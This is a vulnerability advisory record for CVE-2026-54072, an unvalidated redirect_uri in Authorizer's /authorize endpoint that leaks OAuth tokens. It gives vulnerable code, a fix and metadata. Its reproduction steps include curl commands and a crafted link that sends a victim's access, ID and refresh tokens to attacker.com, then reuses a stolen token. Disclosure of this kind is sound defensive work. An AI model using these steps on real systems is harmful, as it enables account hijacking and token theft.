GHSA-H29V-HJ44-Q8CV
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.
Partial fix was applied in v2.0.1 to other handlers (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) but /authorize was not included.
Vulnerable Code
internal/http_handlers/authorize.go:
redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
redirectURI = redirectURI + "&" + params
} else {
redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL
Compare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).
Steps to Reproduce
# 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
echo "client_id: $CLIENT_ID"
# 2. Craft the malicious URL and send to victim (victim must be logged in)
# When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"
echo "Send to victim: $MALICIOUS_URL"
# 3. Attacker receives 302 redirect with all tokens:
# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
# 4. Validate stolen token
curl -s http://TARGET/userinfo \
-H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}
Impact
An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_token, id_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.
Proposed Fix
Add the same IsValidOrigin check that was applied to the other handlers in v2.0.1:
// In authorize.go, after reading redirect_uri:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
"error": "invalid_request",
"error_description": "redirect_uri is not allowed",
}, http.StatusBadRequest)
return
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/authorizerdev/authorizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260409051328-bd3f5baf6d3d"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54072"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:15Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint.\n\nPartial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included.\n\n## Vulnerable Code\n\n`internal/http_handlers/authorize.go`:\n\n```go\nredirectURI := strings.TrimSpace(gc.Query(\"redirect_uri\"))\n// ... no IsValidOrigin() call ...\n// response_type=token path (line ~263):\nif strings.Contains(redirectURI, \"?\") {\n redirectURI = redirectURI + \"\u0026\" + params\n} else {\n redirectURI = redirectURI + \"?\" + params\n}\nhandleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL\n```\n\nCompare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`.\n\n## Steps to Reproduce\n\n```bash\n# 1. Obtain client_id (no authentication required)\nCLIENT_ID=$(curl -s http://TARGET/graphql \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"query\":\"{meta{client_id}}\"}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027meta\u0027][\u0027client_id\u0027])\")\n\necho \"client_id: $CLIENT_ID\"\n\n# 2. Craft the malicious URL and send to victim (victim must be logged in)\n# When victim opens this URL, tokens are delivered to attacker.com\nMALICIOUS_URL=\"http://TARGET/authorize?response_type=token\u0026client_id=${CLIENT_ID}\u0026redirect_uri=https://attacker.com/steal\u0026scope=openid+profile+email\u0026state=x\u0026response_mode=query\"\n\necho \"Send to victim: $MALICIOUS_URL\"\n\n# 3. Attacker receives 302 redirect with all tokens:\n# https://attacker.com/steal?access_token=eyJ...\u0026token_type=bearer\u0026expires_in=...\u0026id_token=eyJ...\n\n# 4. Validate stolen token\ncurl -s http://TARGET/userinfo \\\n -H \"Authorization: Bearer STOLEN_ACCESS_TOKEN\"\n# Returns: {\"email\":\"victim@example.com\",\"id\":\"...\",\"roles\":[\"user\"]}\n```\n\n## Impact\n\nAn attacker who tricks a logged-in user into clicking a crafted link can steal the victim\u0027s `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim\u0027s browser issues the redirect automatically.\n\n## Proposed Fix\n\nAdd the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1:\n\n```go\n// In authorize.go, after reading redirect_uri:\nif !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{\n \"error\": \"invalid_request\",\n \"error_description\": \"redirect_uri is not allowed\",\n }, http.StatusBadRequest)\n return\n}\n```",
"id": "GHSA-h29v-hj44-q8cv",
"modified": "2026-07-10T19:25:15Z",
"published": "2026-07-10T19:25:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-h29v-hj44-q8cv"
},
{
"type": "PACKAGE",
"url": "https://github.com/authorizerdev/authorizer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.